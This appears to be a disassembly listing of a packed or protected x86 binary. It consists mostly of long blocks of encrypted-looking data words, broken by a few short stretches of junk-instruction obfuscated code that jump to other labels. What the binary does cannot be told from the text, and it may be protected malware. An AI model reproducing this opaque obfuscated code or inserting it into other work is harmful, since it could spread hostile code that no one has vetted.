		dd 0F400000Ah, 0F5428EC8h, 0F05FF1D1h, 0F259F7C7h, 0CE55FBDBh
		dd 4F56FAC0h, 366038h, 3463C8h,	0A2A63C8h, 0F2F79C6h, 0D3E6E0C1h
		dd 0C69BD86Dh, 52433766h, 0CAFA5664h, 2D501272h, 185B335Bh
		dd 1D331335h, 2FEE024Dh, 0FEB912A7h, 65B6C95Ch,	0A810A56Dh
		dd 0ABC692FEh, 52271B5Ah, 0C692FEE2h, 2B775777h, 2FD726CBh
		dd 337ED736h, 0CCE43A1Ah, 0E3E7B1Fh, 51E3A977h,	97B49AEBh
		dd 847E36F3h, 5802A3BAh, 34AC7BBAh, 1061F1EEh, 0E2h, 547A5252h
		dd 0C9F13906h, 5742EDF5h, 340A3279h, 57B684D5h,	0E7A0B314h
		dd 95B7C375h, 0E61BEDC8h, 8786C375h, 0A1725BA7h, 62C90750h
		dd 9936042Ah, 5561AC53h, 0D6774204h, 0D3C95CF2h, 3BB14E82h
		dd 0F2A5705Ah, 0ECCB891h, 0F8C6E621h, 149C3991h, 2FC8A55Dh
		dd 0DD2E9FDEh, 4262AAF5h, 3716644Ah, 72B198E6h,	0D3EBD778h
		dd 536B54FBh, 71FF3E0Fh, 8BABE24Dh
		dd 381756B7h, 0F53C80Eh, 0D1702259h, 9786279h, 0BDEB0000h
		dd 0A2E8B799h, 0BAE74C9Ch, 0A6E14E82h, 0B5FD4A86h, 4B7A4B85h
		dd 3D132B17h, 3D132B16h, 3B153516h, 361A3C6Ch, 72C6D3F3h
		dd 71C69BD9h, 64525402h, 29C47C56h, 0E1576229h,	0E2C37573h
		dd 12A64991h, 0A28947A6h, 4F715A6Ah, 0D5297A42h, 0F9A5ABF4h
		dd 791CE431h, 0C617C375h, 7A52F3E7h, 6F4A7254h,	0C375E299h
		dd 146A499Ah, 80B4E34Ch, 785E4EA5h, 0E273C1D0h,	0A981C375h
		dd 8F14C051h, 3E1E0B41h, 7DB889E0h, 0BE103616h,	4B97B791h
		dd 0C3661862h, 0F30EBB49h, 0B597BCB0h, 457BCDE8h, 2F78C375h
		dd 99E5C9C0h, 2C1B67B0h, 0E7C7C4FCh, 5BA9BB9Bh,	8EF53894h
		dd 0D57A6CBDh, 0A18EECECh, 5F774078h, 759FF67Ah, 41BC8DC3h
		dd 0D8FE6D01h, 0D27E4048h, 0D91163FDh, 0AF6167h, 2650000h
		dd 0FFA72FEEh, 193D6837h, 75E2D45Ch, 5F9EEFC3h,	5CF8D9FAh
		dd 794596C9h, 92F43084h, 58546C6h, 0F274851Fh, 0BFE9B661h
		dd 7EE75C9Fh, 0E3000000h, 75E253D8h, 0B3529EC3h, 3E5BE1Bh
		dd 81D2C95Dh, 0CCB401C9h, 0C7C692C3h, 92B9B7F6h, 0B99D88A4h
		dd 77751268h, 90993C96h, 54CCBBCCh, 0CEED6DDCh,	0CA5D8ADAh
		dd 59106A26h, 0B30063A3h, 4441EE62h, 62CA6264h,	0E148EDC9h
		dd 151B18Ch, 2C99A929h,	0B9F061BEh, 14754971h, 4746AAD9h
		dd 3A9F470Fh, 0C8BBC5B6h, 31877C4Dh, 32C8BBC5h,	0EDC882E1h
		dd 0C292C3B0h, 0C3F454A5h, 4D9h, 26EE0217h, 0A4E81CBBh
		dd 7159AAAFh, 5D1B4FA4h, 30564C9h, 0BD8EDF23h, 0FF2E7161h
		dd 0B93B9CDFh, 0CFC692A2h, 0FE967A1Ch, 0CE61F24Ah, 4A9h
		dd 206A3598h, 987A2302h, 547E1FCDh, 5CEAF441h, 3E90E1C9h
		dd 76D7C506h, 0B6F50967h, 1D7FE63Bh, 36BA68DCh,	915A7F57h
		dd 2E66F12Fh, 2E539D4h,	26A8252Eh, 0E6342D93h, 84D52676h
		dd 6012EB6h, 34B8C726h,	355C7951h, 4E7CF38Ah, 38063663h
		dd 6CE80D1h, 0C9958E2Eh, 25048B48h, 0AFFEDCFCh,	727614Ch
		dd 0D2A62C9h, 0BB3658F7h, 0CBB08150h, 1FD07691h, 43F4E743h
		dd 0BC000007h, 0BD8A4670h, 0B8874969h, 0BA814F8Fh, 0B69DB393h
		dd 379EB288h, 0D8FE2880h, 0D8FC2B70h, 0C2E22B70h, 0C7E7210Eh
		dd 8B2EB809h, 0C69BDF25h, 529BCF3Eh, 7D5D4A7Ah,	0B986CE2Ch
		dd 15744A72h, 4045ABD6h, 0F0F6AB0Eh, 0A2F3C95Ch, 5F060728h
		dd 0ABF7C7F0h, 0EC13E542h, 0C710C692h, 0D8CD5AF6h, 0CBE2FAF1h
		dd 7E4FA1FFh, 2D88B020h, 0C6923A5Bh, 72470F58h,	0C6923A8Eh
		dd 9079B485h, 0C6923A28h, 922A453Fh, 2A8FB7C6h,	0C6920A46h
		dd 92310C5Dh, 1F17BF5Eh, 0E575D150h, 48026156h,	0BAC5986Dh
		dd 6E4C9DCCh, 0BAE1298Bh, 0A8C5FC8h, 0A8B8E06h,	2DBE5Ch
		dd 2080000h, 300831EEh,	0EECB83EAh, 0C375E21Ah,	0D7FFC819h
		dd 0EE52672Fh, 0E5C375E2h, 6E6E5594h, 63DAA0Fh,	69BAC95Dh
		dd 3C4615h, 35900000h, 0C31F3F6Ah, 0F8F48BEAh, 9F85BD15h
		dd 0E9090E0Dh, 0AA34ACC2h, 0C13E7B50h, 409EBCEEh, 98400A69h
		dd 397186A0h, 95D0807Ch, 5C2BE334h, 821911C9h, 0A25A2390h
		dd 41926342h, 7A52497Dh, 1D61414Ah, 4E3EE3CCh, 9A64519Ah
		dd 6141DBEh, 414F0000h,	5E4CDB75h, 5E4BD078h, 4245D27Eh
		dd 5941EE62h, 0AFC6EF61h, 418FCFFBh, 418FCFFAh,	5FF1D1FAh
		dd 5AF6D8F0h, 0D65A7F57h, 0EDC69BDDh, 0EE02C8BEh, 0C112A72Fh
		dd 8EC95CE9h, 361661BDh, 94993810h, 68EF261Ah, 922AC1D0h
		dd 92D1A303h, 0CD0300EFh, 0F3DBBA36h, 6ED0FD26h, 55A9FAE4h
		dd 0CE02206Ah, 0F0DABB31h, 44295025h, 360455FAh, 758DF143h
		dd 0C2C487FAh, 0D91B46DEh, 122062Eh, 2400000h, 12A72FEEh
		dd 0C95CE9C1h, 7161BD8Eh, 83DFFF2Eh, 24644BAAh,	35804802h
		dd 0C692E543h, 38347740h, 0FD183C74h, 0C2FC82B7h, 0BA9C8CE3h
		dd 5AAC9164h, 0D4B7EF26h, 0E3616B2h, 8BE2381Eh,	4D6810BAh
		dd 0EE4760FBh, 7DC3D6F8h, 76EE4760h, 5B99D425h,	0A4FADCCCh
		dd 0F39FECD1h, 2BAF3CC7h, 0A1AF8F99h, 0EA5B29Ah, 8038BF91h
		dd 0A8BF0C1Dh, 0FABF6456h, 350D55A9h, 75C8EE85h, 0C9F437CDh
		dd 4E6B6320h, 9708DBDAh, 0EB804899h, 6B4E0005h,	9D21D53Ah
		dd 0C898E637h, 211C3867h, 54F4DAF2h, 0D1F9DDCFh, 2A605C4Eh
		dd 86F83B04h, 11A06533h, 0F4DAF099h, 695159A6h,	0B4D29915h
		dd 0DBFF6C0Ah, 96765F49h, 46B6A192h, 0F1CD1138h, 0E2774F98h
		dd 7E86BA4h, 9C3D137Ch,	6DAE38B2h, 93B56887h, 0CD1E6FB3h
		dd 32143403h, 73C5D098h, 890DCDBEh, 0CDBE442Ch,	0BD0E5F0Dh
		dd 4C31116Ch, 8705D554h, 90305631h, 0EDBA96B8h,	1F479BBBh
		dd 0E6341A30h, 0D319A487h, 203D9832h, 959C5CEDh, 5CD38444h
		dd 7000000h, 0A72FEE02h, 5D065512h, 0E633FBC9h,	0C692C112h
		dd 10E5C011h, 9E8CFBC7h, 0C16E16B8h, 0B29BE7C7h, 92C103F5h
		dd 0F43700C6h, 7BBFC478h, 94142ABh, 0D8CECD31h,	0CFEA54B9h
		dd 0C6922E79h, 9DD8297Ah, 2E64C4D1h, 3E0FC692h,	0BF9F8B94h
		dd 2C2A1463h, 43AEFFCEh, 35146A4Ah, 526135F6h, 7D5D4A7Ah
		dd 0A9473C2Ch, 26D7E2E4h, 0A3C95CE7h, 0F6D77852h, 9EFCC2C8h
		dd 22D27E4Fh, 0E7E95F7Ah, 99EAC692h, 7656775Ah,	0BC618F28h
		dd 0F50A8F2Ah, 9EEFCCBBh, 0E607FD40h, 2EC2C8BBh, 0ED52676Fh
		dd 0EAC29331h, 4F04599h, 91D2C0B5h, 7E4995B5h, 0DC340A30h
		dd 6C4463E7h, 7417DA7Ah, 0A962E852h, 0B9A93B21h, 3B9B5623h
		dd 2F000000h, 0A72FEE02h, 5D065512h, 0A543FBC9h, 7A7981Bh
		dd 0C09E0E0Ch, 6F65C5FEh, 0C567BF0Ch, 6266776h,	0FF89D138h
		dd 0D4FECFCAh, 17C404Bh, 249AC1h, 4FD00000h, 0CB22785Ch
		dd 0EE02FEE8h, 37FFA72Fh, 75E21EE2h, 0E9C415C3h, 5CE71700h
		dd 0DBF3DCC9h, 310C4A74h, 7A529DD1h, 9AC1A754h,	2F0B6451h
		dd 345ACh, 4472BE00h, 4F6FBF84h, 4D8DBA81h, 0B195B483h
		dd 0B086B09Fh, 2A7E3598h, 2572DEFCh, 2572DEFEh,	2308C0E0h
		dd 0A60BC5E9h, 0A327892Ch, 0F13CC69Bh, 547A5299h, 0D1EF3906h
		dd 0A38AD0E8h, 6936FE52h, 0EBC21820h, 0EB0ADA93h, 7FBE2EAEh
		dd 0E1E9AC40h, 5C8CE7D4h, 0BF83ECC9h, 92687AFAh, 3B5F0CC6h
		dd 0F200BF51h, 9BC47C61h, 24CFC049h, 31D5AE8Dh,	91000000h
		dd 0A72FEE02h, 5CFEB912h, 1965B6C9h, 92FED0A4h,	7E5E45C6h
		dd 0D2EAD720h, 5377F48Ch, 2EA863EFh, 6F6F5AE5h,	7307990Ch
		dd 0DDC561F2h, 81000000h, 6547A52h, 81C9F139h, 8676BFA9h
		dd 0ECCFB915h, 4363A592h, 2818307Fh, 0EBCBC3E1h, 1465B697h
		dd 3C7EE534h, 0A3E5C375h, 0A6E64D83h, 52ABA80h,	0EBED2900h
		dd 324FFCE8h, 0F1FF82E1h, 0FC0DD125h, 15360E06h, 0B780E935h
		dd 0C5D9006Fh, 0B78072A4h, 4B09BA1Fh, 95E6C95Ch, 6D30BCBBh
		dd 8E0CD65h, 9736B65Dh,	3582013Bh, 1756A700h, 5B5F7A5Fh
		dd 25EDCCB8h, 0A4622890h, 4C8CB5C8h, 0E25392E3h, 0AE013991h
		dd 0E221272Dh, 0B145E9Dh, 0A113F1Fh, 25413E1Ch,	0EB70230Dh
		dd 2040C4Fh, 317F0000h,	2E7CCB05h, 4E7BC008h, 5275C20Eh
		dd 4971DE72h, 0BFF6DF71h, 0B19FBFEBh, 0B19FBFEAh, 4F81A1EAh
		dd 4A86A8E0h, 0E64A6F67h, 0FDC69BA1h, 6A35D88Eh, 0CF220121h
		dd 0CE55FBC3h, 0B050F8DEh, 0C956EE02h, 0B53BF8C0h, 4EC375E2h
		dd 0F840557Dh, 0FBC375E2h, 497159AAh, 0E24C3481h, 0CFD9C375h
		dd 0EECD1EEFh, 5CFEB009h, 34624DC9h, 0DA83806h,	0C692FEBBh
		dd 0CD1E6FB8h, 0B191BA85h
		dd 0E1211C6Dh, 92FE981Ch, 9D3DEEC6h, 0F2721DB7h, 0E22F61h
		dd 52BB0000h, 3906547Ah, 0F5C9F1h, 0C375E7D5h, 0AC260800h
		dd 57AB8B83h, 0CC1D2168h, 0F4D463F1h, 1CE62ADBh, 4ED6280Eh
		dd 0BB87D0D2h, 0FAD3D01Ch, 5325F0DAh, 50C37508h, 399C3607h
		dd 0C95C1B88h, 0EDB21465h, 94589BBBh, 5A0C11DFh, 1BB10792h
		dd 0FD2CC692h, 0DBA485D9h, 7B23AB8Ah, 1B9266B3h, 4091C692h
		dd 73F48465h, 0AEFFCCB8h, 562F1B24h, 0A443FD43h, 2DA5F6C8h
		dd 0A4432088h, 81D223C8h, 0FAF874Fh, 159B3EF4h,	2EC8A47Fh
		dd 0A84585DDh, 63AF82E1h, 0E4D4A65Bh, 0C41C7022h, 0D597h
		dd 34020E00h, 3F1F0F14h, 3D1D0A11h, 21050413h, 2016002Fh
		dd 0BAEE8528h, 0B5824E8Ch, 0B5824E8Eh, 0B398B090h, 169BB599h
		dd 0A69719BCh, 61ACC69Bh, 56645209h, 3C65CAFAh,	0D5290902h
		dd 6548ABF4h, 1DCD0323h, 6547A52h, 1CFEF39h, 0CF87866Ah
		dd 641BB5EAh, 307FB2C9h, 98E73B04h, 95A2AEB0h, 0EA4F93B3h
		dd 26227C74h, 0AB5C7A6Dh, 7E62D6E3h, 0DFE8A531h, 194F6482h
		dd 98DB24F5h, 1BB393B5h, 94B81923h, 4E907C0Eh, 0F283F8C4h
		dd 458BEAC4h, 0C688AEFEh, 3008311Eh, 522683EAh,	0CFA53131h
		dd 0DD2EFFDFh, 7457A09Eh, 0E5760A50h, 684547E5h, 0FE428281h
		dd 437BA63Ch, 2F2172h, 0F67A5F08h, 8DA53121h, 4C0F53BCh
		dd 0Ah,	4D6DB986h, 8DDD1871h, 66526F23h, 0EB3D0A50h, 8388F7CBh
		dd 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh
		dd 18327D41h, 5102E43Ah, 0C1815954h, 4,	8704E983h
		db 0Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	5BE7h
		mov	[esp], ebp
		push	edi
		mov	edi, 5EE3900h
		push	edi
		pop	ebx
		pop	edi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		db 0D8h
		dd 940BE6DAh, 9FCC4FEh,	0B8AD2BE9h, 5EE4556h, 0E0FFC503h
		dd 35696h, 13B0605Bh, 7BF32D47h, 12C054FAh, 0DA138DFh
		dd 272056h, 537FE59Eh, 78A02073h, 3BC1C674h, 181F4752h
		dd 573FC02Fh, 3D8FD4B2h, 0E64304EBh, 5EE950F7h,	0AC000005h
		dd 0ADFA5660h, 0A8F75979h, 0AAF15F7Fh, 0A68D4363h, 278E4278h
		dd 0E8EED890h, 0E8ECDB60h, 0D2F2DB60h, 0D7F7D17Eh, 0BB1E4879h
		dd 0C69BA735h, 0A8F7DFCEh, 4D1D587Eh, 6547A52h,	0F6D6F15Eh
		dd 686E58B7h, 6D715BE0h, 0C0E62611h, 0A7998DFAh, 127B4767h
		dd 4032FDC1h, 0AC8FAFFFh, 1D0F9D3Dh, 3081739h, 8684AB23h
		dd 7A4B73BEh, 6AE6C524h, 92E8C8DDh, 5E7EA5h, 3EEBEF7Ch
		dd 0B3813E76h, 2546FFDAh, 7507F840h, 4BAAFBC3h,	0C9072764h
		dd 2F1A2A62h, 3D80DE2Fh, 0C3750748h, 0E12B4D7h,	67D8A996h
		dd 73B6h, 6A353000h, 0CD200323h, 3FA7FBDBh, 0CD112510h
		dd 52D881FCh, 0CFC375E2h, 58A7FBC3h, 3B12686Eh,	0ADF1D5F4h
		dd 90305615h, 7C4D91A5h, 189D813h, 37B91CC4h, 0CCC375E2h
		dd 7B1580E3h, 0B867D98Dh, 0E0A5A897h, 0A3D4CD5Ah, 8F74B780h
		dd 1, 447852DBh, 4E6B635Bh, 0C375E2FAh,	35FA8F9h, 0EA301634h
		dd 54AA8A9Dh, 4AE6E0EBh, 41EE6240h, 39E96747h, 7C566452h
		dd 0E29F61B4h, 4B94C375h, 0FD291668h, 736BECD4h, 949DD93Bh
		dd 400A5BA4h, 0B19AB0FFh, 137C4D91h, 43BFFECFh,	8E1ABC2Fh
		dd 5F65A480h, 0C91A6B53h, 0CE103807h, 0A29A87F0h, 0BFDBF05Ch
		dd 0D8A44BD5h, 4447E867h, 3E0F2F7Eh, 8C06FFh, 35400000h
		dd 80802D7Dh, 70B3DB89h, 0D925151Dh, 3199A1EEh,	0FCD35979h
		dd 0E9C4BCEAh, 1BBF2E99h, 11B98189h, 0E03E1C0Eh, 4091B597h
		dd 5640EF65h, 3809317Eh, 92B295E2h, 0CFCB804Ch,	3313351Ah
		dd 0C85F9EEFh, 67D8AF68h, 0F777BDF5h, 3A1624D6h, 0AFF3CBF7h
		dd 66A61F5Eh, 20000000h, 8566452h, 0F7D7F758h, 65515CABh
		dd 0D1FAD914h, 5576D9F1h, 8EC02975h, 75E2452Bh,	2E0D5EC3h
		dd 731754D0h, 7FD1E9D1h, 73CFFFB7h, 4CB3826Eh, 6A357971h
		dd 27170222h, 29A188D6h, 75E2248Ch, 8FEE3FC3h, 76446AA0h
		dd 0AD13A66Eh, 0A6C375E2h, 0CCB11655h, 53C375E2h, 12829630h
		dd 3267D98Eh, 1, 3F6A35B4h, 0C8F1DC1Fh,	8316DEF0h, 0C375E23Dh
		dd 0B886E536h, 25795D4Fh, 1BCCCA91h, 5B391634h,	0F0A37AD6h
		dd 83EA3001h, 74444DA0h, 0CCD11FD4h, 0AF91B59Ah, 2405597Dh
		dd 8FB887DBh, 7337E4Fh,	0A382EB37h, 0C7018E2Bh,	2FC95Dh
		dd 77C42717h, 0BDEFD826h, 0A0E8B799h, 177C349Eh, 635F3491h
		dd 2E0C507Bh, 53AF8EDFh, 9D3118EEh, 0A68681C6h,	193D6F58h
		dd 983EADC5h, 0A7236816h, 2D230305h, 16CFC961h,	58268696h
		dd 2E16361Dh, 0E7C7C6FEh, 69614896h, 9D35E44Ch,	5DAEFFC6h
		dd 30163601h, 7515C6EAh, 0F9D1F5D7h, 0F536B56h,	0F7C0F620h
		dd 0B92BB8B4h, 8B61F0B7h, 160h,	31EE02DFh, 9DEC320Ah, 42BF1A4Ch
		dd 4EC95CF7h, 8D9CBAE1h, 2B7455A9h, 0D42A7BC8h,	0B39DA1EBh
		dd 0BC82A4E4h, 5A030B14h, 92F6897Fh, 68B98AC6h,	0C0E6260Dh
		dd 0A49A8DFAh, 2C72437Bh, 9AE0D4C3h, 0E74545F6h, 6FBE9CB8h
		dd 0C7C3881Eh, 4B032365h, 0EF8B56F3h, 0A786224Eh, 0CEAA3AA9h
		dd 7C9A61F1h, 2C000000h, 9127ED02h, 7495C4E2h, 2CD4FECFh
		dd 1F409014h, 0BBE77CD5h, 1D6EBF83h, 172779DEh,	8DA5C375h
		dd 659EC61Fh, 8D774FF2h, 49EF984Dh, 0DC2D9EDDh,	0CEB53BFEh
		dd 0F9D0C375h, 22F909DCh, 0ABF4DAC2h, 1C226857h, 0BD03963Eh
		dd 0B6C37556h, 0C7C38A65h, 0E6E0637Bh, 0C43FD51Ah, 0F17E10Ch
		dd 14DCF6C7h, 0FD381C0Bh, 75CC441Ch, 0A42E7FC3h, 6B14748Ch
		dd 684BF883h, 8233E4h, 2670000h, 12A72FEEh, 0C95CE80Dh
		dd 3DA5F9CAh, 0E4D8A075h, 8ADBC692h, 624444ABh,	674741EEh
		dd 0E5DFA61Bh, 0B2F9C692h, 0B294B414h, 0A0BE19Eh, 88ACFF40h
		dd 52185BB2h, 61D7E2AAh, 62C692E5h, 0E8CEDE11h,	2F332C8Dh
		dd 6148CC83h, 0D1380626h, 5B4DBA80h, 78DB537Bh,	0F9D9F26Ch
		dd 577244A5h, 40BEFD65h, 0FE2BAF3Ch, 4A1DE336h,	9E88C8A0h
		dd 539EEFB8h, 641B5A7Ah, 0E8CD8588h, 0C2B18077h, 7D2D230Ch
		dd 0A72FEE02h, 5B7B50FFh, 0CF0F3807h, 21DABFFEh, 5EC96428h
		dd 0C6C6310Dh, 0AC39A9E9h, 1C6D8A67h, 12567CCh,	4C348149h
		dd 47C69BA9h, 0CC103B76h, 0E62C91F1h, 0E31D61DBh, 4A42EEE8h
		dd 4D5FE464h, 0E32A1569h, 10FBFFC3h, 0ECF2DA76h, 11E732FAh
		dd 1298721Bh, 0C16EE2C1h, 89B1F9C7h, 370B54B5h,	8A4h, 6A35F200h
		dd 82DE1D3Dh, 506652CEh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh
		dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h,	3A18327Dh
		dd 895002E4h, 405E0h, 0BB530000h, 4, 875BD829h,	685C2404h
		dd 0D67h, 68242C89h, 4CB9h, 68243C89h, 5EE45FEh, 81242C8Bh
		dd 4C4h, 4EC8300h, 81242489h, 42404h, 685F0000h, 285h
		dd 89240C89h, 84F89E9h,	243C8B59h, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 8B5C2434h, 8956242Ch, 4C681E6h, 83000000h
		dd 348704C6h, 24E95C24h, 36FFF932h, 9D7F8ACAh, 1113C433h
		dd 4AD5B8C1h, 0C50305EEh, 0B8F1E0FFh, 234F39ECh, 0E92F424Bh
		dd 0AFC965EAh, 689C463Eh, 2CA14243h, 80FC2E99h,	0D974165Bh
		dd 0A0B54597h, 7C4451B2h, 0F6734609h, 883A5A1Fh, 8A2D6765h
		dd 55F502A1h, 13EB0860h, 7E6447F0h, 886D0AABh, 2848062Ch
		dd 0B4A52618h, 525A074Dh, 75721CB5h, 571864D2h,	2EAF6558h
		dd 8F691043h, 0A3774C8Eh, 0A9971F09h, 0C7591592h, 65C1092Dh
		dd 578B4747h, 649E05E3h, 3D6E0C19h, 4EB5AAEh, 1CC32497h
		dd 4D0E9h, 4472BE00h, 4F6FBF84h, 4D8DBA81h, 0B195B483h
		dd 0B086B09Fh, 2A7E3598h, 2572DEFCh, 2572DEFEh,	2308C0E0h
		dd 0A60BC5E9h, 0A927892Ch, 0F13CC69Bh, 4D8DBA85h, 8DDD1871h
		dd 6547A52h, 7C9F139h, 0F5D9F05Fh, 684E5EA9h, 0D7F1DC1Fh
		dd 4C5CABF7h, 89C8606Ah, 7832CAB9h, 0FEC93974h,	6CC48EACh
		dd 70DC155Fh, 9BE7C610h, 75B63ACh, 0F5C90D38h, 736D5594h
		dd 0D72B7458h, 0D5596168h, 0F557731Ah, 915DF3D3h, 0CB49D8Eh
		dd 0DE845351h, 49A487D0h, 47EC7C5Ch, 2F186646h,	0F286D4E0h
		dd 0CAC36169h, 0CFD966EAh, 592E93EFh, 0C4C37577h, 851F0585h
		dd 4767D8F9h, 64h, 2D7A5203h, 75E22088h, 81D223C3h, 1C0A15BDh
		dd 941AFF3Eh, 9C375E2h,	0A8F73056h, 6444417Fh, 98E63716h
		dd 0D5E7EAFh, 8EE97B2Eh, 1DB67D9h, 0EF000000h, 45A7852h
		dd 0D531E45Ch, 327D941Ah, 0A88E9CF3h, 0EA3D0252h, 0C9ECF4CAh
		dd 0C375BD67h, 0E3C2137Ch, 65B99D8Ch, 75D7F39Ah, 70DF7151h
		dd 36DA7658h, 7C566452h, 0E29F61B4h, 4294C375h,	0EF86C3CDh
		dd 0A19CED64h, 16341661h, 88A693BCh, 1352A383h,	0B6D09B2Fh
		dd 222E2C1Ah, 0C9983A72h, 633343C7h, 0DBFB2D00h, 4F8FB887h
		dd 33133807h, 89428EF0h, 0B991B01h, 524B67D9h, 1F000000h
		dd 42486452h, 0E0CF137Ch, 0CCBB87B7h, 63AFFD9Dh, 60AEF55Bh
		dd 0FF2F705Ah, 55A29CDFh, 0C00C5272h, 1B858F0Bh, 0C967D98Ch
		dd 4Dh,	5664529Dh, 0CEEE3F08h, 0C59887F0h, 75E208F0h, 0E93A0BC3h
		dd 5D7DAA95h, 0E8EE7D01h, 0F793D846h, 0E36D6D55h, 5A78522Fh
		dd 0FFE45C04h, 80662C66h
		dd 643C8411h, 0E637C375h, 0CF15695h, 93C37564h,	52C2D6F0h
		dd 7267D908h, 1, 55655274h, 0C8EE3E09h,	3666DE86h, 8CDC2178h
		dd 509D63C0h, 4596C375h, 0EC641866h, 0D44D8754h, 3463B3E7h
		dd 82D33A00h, 3A9630A3h, 0DAFAD30Dh, 44A84789h,	0FFAC0941h
		dd 0F4C95D5Fh, 206857ABh, 0D350B00h, 0BD93FCCDh, 818EB696h
		dd 421268B9h, 0B886B6FDh, 29111E51h, 0D0B9F4D5h, 0C6929F6Ah
		dd 21830744h, 0C78FC7E7h, 929F0EF2h, 0F93405C6h, 0DAFC2C7Bh
		dd 4473DC84h, 0E0C32A70h, 1DB29B8Dh, 7F89B6AFh,	10B48ADBh
		dd 8B9D2FABh, 21C4AEA2h, 89DAE0E2h, 34DB69C1h, 0EFED85Ah
		dd 0D27D212Fh, 0F8DCCBE5h, 0C97353AFh, 5758642Ch, 0AB7EBD8Eh
		dd 61F25039h, 1140Bh, 0EE025F00h, 2512A72Fh, 12C95CF7h
		dd 9AB2FDC1h, 9D8F94B4h, 321A65B9h, 2ABACE2Ch, 943E1E05h
		dd 92F6BF01h, 86BB4C6h,	0B9933159h, 0BC54BB95h,	8861F27Ah
		dd 4Fh,	30ED02DAh, 0EEE03105h, 0A654541h, 0F5C13C02h, 306975CDh
		dd 865B6F4h, 1F344C2Dh,	7E4FC375h, 1EEB5D20h, 5776C375h
		dd 0D1DC2B77h, 0AE1D99E5h, 4FFC8628h, 3842A94Bh, 751E2B9Dh
		dd 8EDF28C3h, 1FDFF1C4h, 8BD4C375h, 8F9245h, 2C40000h
		dd 12A72FEEh, 0C95CE80Dh, 59D1F9CAh, 0EF0654DFh, 0B08EEDB4h
		dd 0EF614547h, 18664840h, 924FDEA5h, 81AEF6C6h,	7158A686h
		dd 8527A332h, 0D6ADA383h, 46537B1Ah, 0CC838393h, 55DBFED0h
		dd 0F0C8A01Bh, 40A9F5D9h, 955A6F7h, 86C8EE3Eh, 0E43170B9h
		dd 0C8A01B1Ch, 0A9F5C617h, 71FA3449h, 0EA3B5523h, 5803B78Bh
		dd 6F2EC23Eh, 4C8F5267h, 82C4C2B1h, 0B64C4137h,	3E7142D2h
		dd 50F8C9F1h, 0C3D294ACh, 2D5DBE5h, 4D95771Fh, 3A798E3Dh
		dd 2FEE02ACh, 2ECF12A7h, 0BB84C964h, 50731B13h,	9906B552h
		dd 7554AA92h, 0A117A224h, 0A2C69BEFh, 0C32C1251h, 0DC6BE5C9h
		dd 2194EACCh, 0D94D55E9h, 7BC9F198h, 74C30D51h,	0C32C7254h
		dd 3AE2E4C8h, 6E61299Fh, 9AD92ADCh, 0D85010A4h,	0EB8E1DA5h
		dd 4B3D989Fh, 48DC6EFCh, 9CCF2E7Fh, 587EAEFAh, 5D61ABF0h
		dd 85A01h, 358C0000h, 0DC1F3F6Ah, 6652C080h, 0EB3D0A50h
		dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h,	0F1D8277Bh
		dd 79A691EDh, 18327D41h, 8302E43Ah, 1C8904ECh, 81E38924h
		dd 4C3h, 4EB8300h, 5C241C87h, 2E2E68h, 24048900h, 227E68h
		dd 24148900h, 0F90770B8h, 5E0C138h, 2D48D8F7h, 1F9E383Eh
		dd 17B0BA52h, 0CA815F7Bh, 13CC318Ah, 0F705E2C1h, 94F281D2h
		dd 144B47Ah, 0EC835AD0h, 24248904h, 4240483h, 0C589555Ah
		dd 8B086A89h, 0C481242Ch, 4, 5324148Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 34FF5C24h, 0C4835824h, 2CBDE904h
		dd 0C099FFF9h, 502EB81Fh, 0C50305EEh, 53C0E0FFh, 136A7E05h
		dd 0FEC96214h, 0F50179A9h, 3DA170D4h, 136F44C7h, 86A0595Ah
		dd 19369Bh, 0D73340EAh,	0F20052DBh, 0C6FF6B07h,	0D6007BCEh
		dd 0F2CB09D2h, 0EE540DBCh, 0F247360Dh, 832D4EF8h, 0A0004E01h
		dd 1029025Bh, 0EEFA142Fh, 0C6210DD5h, 0DC2057E7h, 10893B85h
		dd 53672E96h, 4EB5008h,	20A58510h, 53CE9h, 4327E00h, 0F2F7FC4h
		dd 0D4D7AC1h, 715574C3h, 704670DFh, 0EABEF5D8h,	0E5B29EBCh
		dd 0E5B29EBEh, 0E34880A0h, 664B85A9h, 0B3E7496Ch, 0B1FCC69Bh
		dd 5D7A52D9h, 0AADCDC81h, 7DA5843Eh, 0C12E0C5Dh, 0A76FE1D9h
		dd 0CFEAB398h, 0C375CE79h, 82D8297Ah, 0B1B4FEA2h, 85D64886h
		dd 63414BA6h, 0C6570C29h, 0EC0F5254h, 36EBF83h,	0F0DA2B0Bh
		dd 185B63AFh, 23F6BE26h, 0C375C45Dh, 0CB260556h, 56A1FDC1h
		dd 0BF085674h, 0E1EAA2Ch, 0DBFEA628h, 0C375C455h, 12DE1D6Eh
		dd 0AE200005h, 43A29A81h, 4565A68Dh, 25030E79h,	0AEFFC3E3h
		dd 1636015Dh, 8B9DEA30h, 8C3F57ABh, 5902A00Ah, 0E3BA9331h
		dd 767AEF4Bh, 35F2082Ch, 0C3752943h, 68EA7E40h,	0DDB459CDh
		dd 86ADA38Ch, 0E75AA086h, 0C3750A12h, 0D4BCDA8Dh, 67D8A63Ch
		dd 5E08h, 7A525A00h, 0F15E0654h, 40A9F5D5h, 0E23E8465h
		dd 27AFC375h, 44AE810Fh, 59948BAAh, 8988006h, 0C467D970h
		dd 1, 3D6A358Eh, 0D9F9D21Dh, 6A49A485h,	0F33C0220h, 58A7FBDBh
		dd 0A6116D71h, 501A327h, 0F3CF0F3Bh, 3E01499Ah,	98F1CDEDh
		dd 8088975Dh, 705A6AA0h, 0EC3D0152h, 529D4D83h,	3F085664h
		dd 0AF87CFEFh, 50E707E6h, 51B18C90h, 0B8088E3Dh, 2E06488Eh
		dd 74C20B89h, 4D83E25Dh, 0A6D6A981h, 0C78B75DFh, 0B29BE7C7h
